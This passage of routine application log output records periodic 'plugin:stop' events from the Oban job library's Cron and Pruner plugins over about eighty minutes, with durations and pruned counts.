{"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:16.632 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:46.633 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.563 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:16.634 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:46.636 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.564 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:16.638 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:46.639 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.565 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:16.640 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:46.640 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.566 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:16.642 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:46.643 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.567 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:16.644 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:46.645 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.568 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:16.646 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:46.647 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.569 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:16.648 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:46.649 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.570 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:16.650 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:46.652 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.571 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:16.653 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:46.654 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.572 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:16.655 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:46.657 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.573 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:16.658 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:46.659 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.574 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:16.661 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:46.663 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.575 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:16.664 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:46.665 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.576 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:16.666 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:46.667 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.577 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:16.668 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:46.669 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.578 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:16.670 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:46.672 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.579 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:16.673 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:46.674 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.580 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:16.675 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:46.676 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.581 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:16.677 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:46.678 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.582 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:16.679 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 20:00:46.681 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.583 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:16.683 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:46.684 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.584 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:16.686 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:46.687 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.585 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:16.688 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:46.689 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.586 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:16.690 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:46.691 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.587 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:16.693 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:46.694 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.588 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:16.695 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:46.696 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.589 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:16.697 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:46.698 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.591 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:16.699 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:46.700 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.591 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:16.701 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:46.702 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.592 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:16.703 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:46.704 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.593 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:16.705 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:46.707 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.594 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:16.708 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:46.709 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.595 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:16.710 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:46.711 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.596 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:16.712 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:46.714 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.597 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:16.714 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:46.716 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.599 [info] {"source":"oban","duration":439,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:16.717 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:46.719 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.599 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:17:16.720 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:46.722 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.600 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:18:16.723 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:46.724 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.601 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:19:16.725 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:46.726 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.602 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:20:16.727 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:46.728 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.603 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:21:16.729 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:46.730 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.604 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:22:16.731 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:46.732 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.605 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:23:16.733 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:46.734 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.606 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:24:16.735 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:46.736 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.607 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:25:16.737 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:46.739 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.608 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:26:16.740 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:46.741 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.609 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:27:16.742 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:46.743 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.610 [info] {"source":"oban","duration":337,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:28:16.744 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:46.745 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.611 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:29:16.746 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:46.748 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.612 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:30:16.749 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:46.750 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.613 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:31:16.751 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:46.752 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.614 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:32:16.753 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:46.754 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.616 [info] {"source":"oban","duration":466,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:33:16.755 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:46.756 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.616 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:34:16.758 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:46.760 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.617 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:35:16.761 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:46.762 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.618 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:36:16.763 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:46.764 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.619 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:37:16.765 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:46.766 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.620 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:38:16.767 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:46.768 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.621 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:39:16.769 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:46.770 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.622 [info] {"source":"oban","duration":337,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:40:16.771 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:46.772 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.623 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:41:16.774 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:46.775 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.624 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:42:16.776 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:46.778 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.625 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:43:16.779 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:46.780 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.626 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:44:16.781 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:46.783 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.627 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:45:16.783 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:46.785 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.628 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:46:16.787 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:46.788 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.629 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:47:16.789 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:46.790 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.631 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:48:16.791 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:46.792 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.631 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:49:16.793 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:46.795 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.633 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:50:16.796 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:46.798 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.633 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:51:16.800 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:46.801 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.634 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:52:16.802 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:46.804 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.635 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:53:16.805 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:46.807 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.637 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:54:16.808 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:46.809 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.637 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:55:16.810 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:46.811 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.638 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:56:16.812 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:46.813 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.639 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:57:16.814 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:46.815 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.640 [info] {"source":"oban","duration":107,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:58:16.816 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:46.817 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.641 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:59:16.818 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:46.819 [info] 